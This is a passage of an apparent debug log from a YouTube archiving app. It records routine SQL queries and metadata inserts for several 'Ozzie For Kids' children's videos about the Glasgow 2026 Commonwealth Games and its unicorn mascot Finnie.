Commonwealth Games are\nβ€’ Different sports played at the Games\nβ€’ Friendship, teamwork and sportsmanship\nβ€’ Believing in yourself and chasing your dreams\nβ€’ Showing kindness and supporting others\n\nTopics kids will learn about in this video:\n\nβ€’ Commonwealth Games For Kids\nβ€’ Glasgow 2026 For Kids\nβ€’ Commonwealth Countries For Kids\nβ€’ Finnie The Unicorn For Kids\nβ€’ Sports For Kids\nβ€’ Story Time For Kids\nβ€’ Australian Books For Kids\n\nGrab some fun Ozzie merch\nhttps://ozzieforkids.com/merch\n\nβ€”\n\nG'day kids, Ozzie here!\n\nI'm an Australian kids' entertainer creating educational videos for kids designed to entertain, excite, engage and help you learn about the world around you.\n\nIf you love exploring machines, animals, sports, science and how things work, you're in the right place.\n\nSUBSCRIBE and join the adventure\nhttps://www.youtube.com/channel/UCqP9NRMs8Ndda4tidpAuajQ?sub_confirmation=1\n\nBrand new Ozzie episode every Sunday\nhttps://www.youtube.com/OzzieForKids\n\nβ€”\n\nFollow Ozzie\n\nInstagram\nhttps://www.instagram.com/ozzie_forkids\n\nFacebook\nhttps://www.facebook.com/ozzieforkids\n\nβ€”\n\n#Glasgow2026 #CommonwealthGames #Finnie #StoryTime #SportsForKids #OzzieForKids #EducationalVideosForKids #StayKeen #KidsSongs #SingAlong #EducationalSongs", "Glasgow 2026 Commonwealth Games Mega Combo! πŸ… Finnie Song, Sports, Story Time & Fun Facts", 917, false, "jPz3UVtgqLo", "https://www.youtube.com/watch?v=jPz3UVtgqLo", "/downloads/shows/OzzieForKids/Season 2026/OzzieForKids - 2026-07-21 - Glasgow 2026 Commonwealth Games Mega Combo! πŸ… Finnie Song, Sports, Story Time & Fun Facts.mp4", false, 7, ~U[2026-07-21 14:00:39Z]] 13:16:02.961 [debug] QUERY OK source="sources" db=1.0ms queue=0.1ms idle=176.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [7] 13:16:02.962 [debug] QUERY OK source="media_profiles" db=0.6ms queue=0.1ms idle=18.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [3] 13:16:02.964 [debug] QUERY OK source="media_items" db=0.8ms queue=0.1ms idle=17.6ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [9754] 13:16:02.964 [debug] Current batch of media processed. Will check again in 1000ms 13:16:03.966 [debug] Current batch of media processed. Will check again in 1000ms 13:16:04.967 [debug] Current batch of media processed. Will check again in 1000ms 13:16:05.968 [debug] Current batch of media processed. Will check again in 1000ms 13:16:06.973 [debug] Current batch of media processed. Will check again in 1000ms 13:16:07.984 [debug] Current batch of media processed. Will check again in 1000ms 13:16:08.988 [debug] Current batch of media processed. Will check again in 1000ms 13:16:09.989 [debug] Current batch of media processed. Will check again in 1000ms 13:16:11.001 [debug] Current batch of media processed. Will check again in 1000ms 13:16:12.015 [debug] Current batch of media processed. Will check again in 1000ms 13:16:13.019 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Today we're exploring the Glasgow 2026 Commonwealth Games and discovering amazing sports from around the world! πŸ…πŸŒ\n\nLooking for fun educational videos for kids? Ozzie explores machines, animals, sports, science and how things work!\n\nWelcome to Ozzie For Kids, where we learn about exciting places, incredible events and amazing sports!\n\nJoin Ozzie as we explore one of the world's biggest sporting events β€” the Glasgow 2026 Commonwealth Games. Discover exciting sports, incredible athletes and the many countries that come together to compete in the spirit of friendship and teamwork.\n\nFind out what makes the Commonwealth Games so special, why they're known as the \"Friendly Games\", and learn about some of the awesome sports you'll see, including swimming, athletics, gymnastics, cycling, rugby, netball and more.\n\nWe'll also discover how the Commonwealth Games became the first major multi-sport event to fully include Para sports, celebrating athletes of all abilities and showing that everyone deserves the chance to shine.\n\nWhether you love swimming, athletics, cycling, gymnastics or cheering for your favourite team, there's something for everyone at the Commonwealth Games!\n\nKids will learn about:\nβ€’ What the Commonwealth Games are\nβ€’ The exciting sports and countries that compete\nβ€’ Friendship, teamwork and great sportsmanship\n\nTopics kids will learn about in this video:\n\nβ€’ Commonwealth Games For Kids\nβ€’ Glasgow 2026 For Kids\nβ€’ Commonwealth Countries For Kids\nβ€’ Sports Around The World For Kids\nβ€’ Athletics For Kids\nβ€’ Para Sports For Kids\nβ€’ Commonwealth Games Explained For Kids\n\nGrab some fun Ozzie merch\nhttps://ozzieforkids.com/merch\n\nβ€”\n\nG'day kids, Ozzie here!\n\nI'm an Australian kids' entertainer creating educational videos for kids designed to entertain, excite, engage and help you learn about the world around you.\n\nIf you love exploring machines, animals, sports, science and how things work, you're in the right place.\n\nSUBSCRIBE and join the adventure\nhttps://www.youtube.com/channel/UCqP9NRMs8Ndda4tidpAuajQ?sub_confirmation=1\n\nBrand new Ozzie episode every Sunday\nhttps://www.youtube.com/OzzieForKids\n\nβ€”\n\nFollow Ozzie\n\nInstagram\nhttps://www.instagram.com/ozzie_forkids\n\nFacebook\nhttps://www.facebook.com/ozzieforkids\n\nβ€”\n\n#Glasgow2026 #CommonwealthGames #SportsForKids #OzzieForKids #EducationalVideosForKids #StayKeen", "duration" => 364, "filename" => "/downloads/shows/OzzieForKids/Season 2026/OzzieForKids - 2026-07-19 - Glasgow 2026 Commonwealth Games for Kids! πŸ… Sports, Countries & Fun Facts with Ozzie.mp4", "id" => "1YwYlmmKHzE", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=1YwYlmmKHzE", "playlist_index" => 15, "timestamp" => 1784437201, "title" => "Glasgow 2026 Commonwealth Games for Kids! πŸ… Sports, Countries & Fun Facts with Ozzie", "upload_date" => "20260719"} 13:16:13.021 [debug] QUERY OK source="sources" db=0.7ms queue=0.1ms idle=460.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [7] 13:16:13.022 [debug] QUERY OK source="sources" db=0.8ms queue=0.1ms idle=462.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [7] 13:16:13.026 [debug] QUERY OK source="media_items" db=3.1ms queue=0.1ms idle=463.8ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-07-19 05:00:01Z], 7] 13:16:13.031 [debug] QUERY OK source="media_items" db=3.2ms queue=0.1ms idle=468.1ms INSERT INTO "media_items" AS m0 ("description","title","uuid","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today we're exploring the Glasgow 2026 Commonwealth Games and discovering amazing sports from around the world! πŸ…πŸŒ\n\nLooking for fun educational videos for kids? Ozzie explores machines, animals, sports, science and how things work!\n\nWelcome to Ozzie For Kids, where we learn about exciting places, incredible events and amazing sports!\n\nJoin Ozzie as we explore one of the world's biggest sporting events β€” the Glasgow 2026 Commonwealth Games. Discover exciting sports, incredible athletes and the many countries that come together to compete in the spirit of friendship and teamwork.\n\nFind out what makes the Commonwealth Games so special, why they're known as the \"Friendly Games\", and learn about some of the awesome sports you'll see, including swimming, athletics, gymnastics, cycling, rugby, netball and more.\n\nWe'll also discover how the Commonwealth Games became the first major multi-sport event to fully include Para sports, celebrating athletes of all abilities and showing that everyone deserves the chance to shine.\n\nWhether you love swimming, athletics, cycling, gymnastics or cheering for your favourite team, there's something for everyone at the Commonwealth Games!\n\nKids will learn about:\nβ€’ What the Commonwealth Games are\nβ€’ The exciting sports and countries that compete\nβ€’ Friendship, teamwork and great sportsmanship\n\nTopics kids will learn about in this video:\n\nβ€’ Commonwealth Games For Kids\nβ€’ Glasgow 2026 For Kids\nβ€’ Commonwealth Countries For Kids\nβ€’ Sports Around The World For Kids\nβ€’ Athletics For Kids\nβ€’ Para Sports For Kids\nβ€’ Commonwealth Games Explained For Kids\n\nGrab some fun Ozzie merch\nhttps://ozzieforkids.com/merch\n\nβ€”\n\nG'day kids, Ozzie here!\n\nI'm an Australian kids' entertainer creating educational videos for kids designed to entertain, excite, engage and help you learn about the world around you.\n\nIf you love exploring machines, animals, sports, science and how things work, you're in the right place.\n\nSUBSCRIBE and join the adventure\nhttps://www.youtube.com/channel/UCqP9NRMs8Ndda4tidpAuajQ?sub_confirmation=1\n\nBrand new Ozzie episode every Sunday\nhttps://www.youtube.com/OzzieForKids\n\nβ€”\n\nFollow Ozzie\n\nInstagram\nhttps://www.instagram.com/ozzie_forkids\n\nFacebook\nhttps://www.facebook.com/ozzieforkids\n\nβ€”\n\n#Glasgow2026 #CommonwealthGames #SportsForKids #OzzieForKids #EducationalVideosForKids #StayKeen", "Glasgow 2026 Commonwealth Games for Kids! πŸ… Sports, Countries & Fun Facts with Ozzie", "84e8645d-0567-47f6-a58d-85d39d8f27af", 364, false, "1YwYlmmKHzE", "https://www.youtube.com/watch?v=1YwYlmmKHzE", 15, "/downloads/shows/OzzieForKids/Season 2026/OzzieForKids - 2026-07-19 - Glasgow 2026 Commonwealth Games for Kids! πŸ… Sports, Countries & Fun Facts with Ozzie.mp4", false, false, false, 7, [], 98, ~U[2026-07-19 05:00:01Z], ~U[2026-09-03 03:16:13Z], ~U[2026-09-03 03:16:13Z], "Today we're exploring the Glasgow 2026 Commonwealth Games and discovering amazing sports from around the world! πŸ…πŸŒ\n\nLooking for fun educational videos for kids? Ozzie explores machines, animals, sports, science and how things work!\n\nWelcome to Ozzie For Kids, where we learn about exciting places, incredible events and amazing sports!\n\nJoin Ozzie as we explore one of the world's biggest sporting events β€” the Glasgow 2026 Commonwealth Games. Discover exciting sports, incredible athletes and the many countries that come together to compete in the spirit of friendship and teamwork.\n\nFind out what makes the Commonwealth Games so special, why they're known as the \"Friendly Games\", and learn about some of the awesome sports you'll see, including swimming, athletics, gymnastics, cycling, rugby, netball and more.\n\nWe'll also discover how the Commonwealth Games became the first major multi-sport event to fully include Para sports, celebrating athletes of all abilities and showing that everyone deserves the chance to shine.\n\nWhether you love swimming, athletics, cycling, gymnastics or cheering for your favourite team, there's something for everyone at the Commonwealth Games!\n\nKids will learn about:\nβ€’ What the Commonwealth Games are\nβ€’ The exciting sports and countries that compete\nβ€’ Friendship, teamwork and great sportsmanship\n\nTopics kids will learn about in this video:\n\nβ€’ Commonwealth Games For Kids\nβ€’ Glasgow 2026 For Kids\nβ€’ Commonwealth Countries For Kids\nβ€’ Sports Around The World For Kids\nβ€’ Athletics For Kids\nβ€’ Para Sports For Kids\nβ€’ Commonwealth Games Explained For Kids\n\nGrab some fun Ozzie merch\nhttps://ozzieforkids.com/merch\n\nβ€”\n\nG'day kids, Ozzie here!\n\nI'm an Australian kids' entertainer creating educational videos for kids designed to entertain, excite, engage and help you learn about the world around you.\n\nIf you love exploring machines, animals, sports, science and how things work, you're in the right place.\n\nSUBSCRIBE and join the adventure\nhttps://www.youtube.com/channel/UCqP9NRMs8Ndda4tidpAuajQ?sub_confirmation=1\n\nBrand new Ozzie episode every Sunday\nhttps://www.youtube.com/OzzieForKids\n\nβ€”\n\nFollow Ozzie\n\nInstagram\nhttps://www.instagram.com/ozzie_forkids\n\nFacebook\nhttps://www.facebook.com/ozzieforkids\n\nβ€”\n\n#Glasgow2026 #CommonwealthGames #SportsForKids #OzzieForKids #EducationalVideosForKids #StayKeen", "Glasgow 2026 Commonwealth Games for Kids! πŸ… Sports, Countries & Fun Facts with Ozzie", 364, false, "1YwYlmmKHzE", "https://www.youtube.com/watch?v=1YwYlmmKHzE", "/downloads/shows/OzzieForKids/Season 2026/OzzieForKids - 2026-07-19 - Glasgow 2026 Commonwealth Games for Kids! πŸ… Sports, Countries & Fun Facts with Ozzie.mp4", false, 7, ~U[2026-07-19 05:00:01Z]] 13:16:13.034 [debug] QUERY OK source="sources" db=1.4ms queue=0.2ms idle=182.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [7] 13:16:13.035 [debug] QUERY OK source="media_profiles" db=0.5ms queue=0.1ms idle=13.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [3] 13:16:13.036 [debug] QUERY OK source="media_items" db=0.8ms queue=0.1ms idle=13.1ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [9756] 13:16:13.037 [debug] Current batch of media processed. Will check again in 1000ms 13:16:13.375 [info] {"source":"oban","duration":14255,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:16:14.043 [debug] Current batch of media processed. Will check again in 1000ms 13:16:15.047 [debug] Current batch of media processed. Will check again in 1000ms 13:16:16.049 [debug] Current batch of media processed. Will check again in 1000ms 13:16:17.051 [debug] Current batch of media processed. Will check again in 1000ms 13:16:18.052 [debug] Current batch of media processed. Will check again in 1000ms 13:16:19.052 [debug] Current batch of media processed. Will check again in 1000ms 13:16:20.056 [debug] Current batch of media processed. Will check again in 1000ms 13:16:21.059 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Today we're singing with Finnie the Unicorn, the magical mascot of the Glasgow 2026 Commonwealth Games! πŸ¦„πŸŽ΅\n\nLooking for fun educational videos for kids? Ozzie explores machines, animals, sports, science and how things work!\n\nWelcome to Ozzie For Kids, where we learn through music, movement and exciting adventures!\n\nMeet Finnie, the magical unicorn and official mascot of the Glasgow 2026 Commonwealth Games. Get ready to sing, dance and clap along as Finnie celebrates friendship, sport, kindness and fun in this catchy song for kids.\n\nWhether you love unicorns, cheering on athletes or learning about big sporting events from around the world, this magical adventure is full of smiles, music and Commonwealth spirit.\n\nSo get on your feet, sing along and join Finnie as we celebrate the joy of sport together!\n\nKids will learn about:\nβ€’ The Glasgow 2026 Commonwealth Games mascot, Finnie\nβ€’ Friendship, kindness and good sportsmanship\nβ€’ How sport brings people together from around the world\n\nTopics kids will learn about in this video:\n\nβ€’ Finnie The Unicorn For Kids\nβ€’ Commonwealth Games For Kids\nβ€’ Glasgow 2026 For Kids\nβ€’ Unicorn Songs For Kids\nβ€’ Sports Songs For Kids\nβ€’ Friendship Through Sport\nβ€’ Commonwealth Games Mascot For Kids\n\nGrab some fun Ozzie merch\nhttps://ozzieforkids.com/merch\n\nβ€”\n\nG'day kids, Ozzie here!\n\nI'm an Australian kids' entertainer creating educational videos for kids designed to entertain, excite, engage and help you learn about the world around you.\n\nIf you love exploring machines, animals, sports, science and how things work, you're in the right place.\n\nSUBSCRIBE and join the adventure\nhttps://www.youtube.com/channel/UCqP9NRMs8Ndda4tidpAuajQ?sub_confirmation=1\n\nBrand new Ozzie episode every Sunday\nhttps://www.youtube.com/OzzieForKids\n\nβ€”\n\nFollow Ozzie\n\nInstagram\nhttps://www.instagram.com/ozzie_forkids\n\nFacebook\nhttps://www.facebook.com/ozzieforkids\n\nβ€”\n\n#Glasgow2026 #CommonwealthGames #Finnie #OzzieForKids #EducationalVideosForKids #StayKeen #KidsSongs #SingAlong #EducationalSongs", "duration" => 184, "filename" => "/downloads/shows/OzzieForKids/Season 2026/OzzieForKids - 2026-07-15 - Finnie the Unicorn Song! πŸ¦„ Glasgow 2026 Commonwealth Games Mascot Song for Kids with Ozzie.mp4", "id" => "zYjOdNeeQJU", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=zYjOdNeeQJU", "playlist_index" => 16, "timestamp" => 1784152824, "title" => "Finnie the Unicorn Song! πŸ¦„ Glasgow 2026 Commonwealth Games Mascot Song for Kids with Ozzie", "upload_date" => "20260715"} 13:16:21.065 [debug] QUERY OK source="sources" db=0.3ms queue=0.1ms idle=498.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [7] 13:16:21.066 [debug] QUERY OK source="sources" db=0.5ms idle=499.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [7] 13:16:21.071 [debug] QUERY OK source="media_items" db=4.5ms queue=0.1ms idle=500.3ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-07-15 22:00:24Z], 7] 13:16:21.076 [debug] QUERY OK source="media_items" db=2.9ms queue=0.1ms idle=506.0ms INSERT INTO "media_items" AS m0 ("description","title","uuid","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today we're singing with Finnie the Unicorn, the magical mascot of the Glasgow 2026 Commonwealth Games! πŸ¦„πŸŽ΅\n\nLooking for fun educational videos for kids? Ozzie explores machines, animals, sports, science and how things work!\n\nWelcome to Ozzie For Kids, where we learn through music, movement and exciting adventures!\n\nMeet Finnie, the magical unicorn and official mascot of the Glasgow 2026 Commonwealth Games. Get ready to sing, dance and clap along as Finnie celebrates friendship, sport, kindness and fun in this catchy song for kids.\n\nWhether you love unicorns, cheering on athletes or learning about big sporting events from around the world, this magical adventure is full of smiles, music and Commonwealth spirit.\n\nSo get on your feet, sing along and join Finnie as we celebrate the joy of sport together!\n\nKids will learn about:\nβ€’ The Glasgow 2026 Commonwealth Games mascot, Finnie\nβ€’ Friendship, kindness and good sportsmanship\nβ€’ How sport brings people together from around the world\n\nTopics kids will learn about in this video:\n\nβ€’ Finnie The Unicorn For Kids\nβ€’ Commonwealth Games For Kids\nβ€’ Glasgow 2026 For Kids\nβ€’ Unicorn Songs For Kids\nβ€’ Sports Songs For Kids\nβ€’ Friendship Through Sport\nβ€’ Commonwealth Games Mascot For Kids\n\nGrab some fun Ozzie merch\nhttps://ozzieforkids.com/merch\n\nβ€”\n\nG'day kids, Ozzie here!\n\nI'm an Australian kids' entertainer creating educational videos for kids designed to entertain, excite, engage and help you learn about the world around you.\n\nIf you love exploring machines, animals, sports, science and how things work, you're in the right place.\n\nSUBSCRIBE and join the adventure\nhttps://www.youtube.com/channel/UCqP9NRMs8Ndda4tidpAuajQ?sub_confirmation=1\n\nBrand new Ozzie episode every Sunday\nhttps://www.youtube.com/OzzieForKids\n\nβ€”\n\nFollow Ozzie\n\nInstagram\nhttps://www.instagram.com/ozzie_forkids\n\nFacebook\nhttps://www.facebook.com/ozzieforkids\n\nβ€”\n\n#Glasgow2026 #CommonwealthGames #Finnie #OzzieForKids #EducationalVideosForKids #StayKeen #KidsSongs #SingAlong #EducationalSongs", "Finnie the Unicorn Song! πŸ¦„ Glasgow 2026 Commonwealth Games Mascot Song for Kids with Ozzie", "3f32922c-fabc-4db3-ab5e-043c4d04b15f", 184, false, "zYjOdNeeQJU", "https://www.youtube.com/watch?v=zYjOdNeeQJU", 16, "/downloads/shows/OzzieForKids/Season 2026/OzzieForKids - 2026-07-15 - Finnie the Unicorn Song! πŸ¦„ Glasgow 2026 Commonwealth Games Mascot Song for Kids with Ozzie.mp4", false, false, false, 7, [], 98, ~U[2026-07-15 22:00:24Z], ~U[2026-09-03 03:16:21Z], ~U[2026-09-03 03:16:21Z], "Today we're singing with Finnie the Unicorn, the magical mascot of the Glasgow 2026 Commonwealth Games! πŸ¦„πŸŽ΅\n\nLooking for fun educational videos for kids? Ozzie explores machines, animals, sports, science and how things work!\n\nWelcome to Ozzie For Kids, where we learn through music, movement and exciting adventures!\n\nMeet Finnie, the magical unicorn and official mascot of the Glasgow 2026 Commonwealth Games. Get ready to sing, dance and clap along as Finnie celebrates friendship, sport, kindness and fun in this catchy song for kids.\n\nWhether you love unicorns, cheering on athletes or learning about big sporting events from around the world, this magical adventure is full of smiles, music and Commonwealth spirit.\n\nSo get on your feet, sing along and join Finnie as we celebrate the joy of sport together!\n\nKids will learn about:\nβ€’ The Glasgow 2026 Commonwealth Games mascot, Finnie\nβ€’ Friendship, kindness and good sportsmanship\nβ€’ How sport brings people together from around the world\n\nTopics kids will learn about in this video:\n\nβ€’ Finnie The Unicorn For Kids\nβ€’ Commonwealth Games For Kids\nβ€’ Glasgow 2026 For Kids\nβ€’ Unicorn Songs For Kids\nβ€’ Sports Songs For Kids\nβ€’ Friendship Through Sport\nβ€’ Commonwealth Games Mascot For Kids\n\nGrab some fun Ozzie merch\nhttps://ozzieforkids.com/merch\n\nβ€”\n\nG'day kids, Ozzie here!\n\nI'm an Australian kids' entertainer creating educational videos for kids designed to entertain, excite, engage and help you learn about the world around you.\n\nIf you love exploring machines, animals, sports, science and how things work, you're in the right place.\n\nSUBSCRIBE and join the adventure\nhttps://www.youtube.com/channel/UCqP9NRMs8Ndda4tidpAuajQ?sub_confirmation=1\n\nBrand new Ozzie episode every Sunday\nhttps://www.youtube.com/OzzieForKids\n\nβ€”\n\nFollow Ozzie\n\nInstagram\nhttps://www.instagram.com/ozzie_forkids\n\nFacebook\nhttps://www.facebook.com/ozzieforkids\n\nβ€”\n\n#Glasgow2026 #CommonwealthGames #Finnie #OzzieForKids #EducationalVideosForKids #StayKeen #KidsSongs #SingAlong #EducationalSongs", "Finnie the Unicorn Song! πŸ¦„ Glasgow 2026 Commonwealth Games Mascot Song for Kids with Ozzie", 184, false, "zYjOdNeeQJU", "https://www.youtube.com/watch?v=zYjOdNeeQJU", "/downloads/shows/OzzieForKids/Season 2026/OzzieForKids - 2026-07-15 - Finnie the Unicorn Song! πŸ¦„ Glasgow 2026 Commonwealth Games Mascot Song for Kids with Ozzie.mp4", false, 7, ~U[2026-07-15 22:00:24Z]] 13:16:21.077 [debug] QUERY OK source="sources" db=0.7ms queue=0.1ms idle=186.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [7] 13:16:21.079 [debug] QUERY OK source="media_profiles" db=1.4ms queue=0.1ms idle=12.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [3] 13:16:21.080 [debug] QUERY OK source="media_items" db=0.7ms queue=0.1ms idle=13.5ms 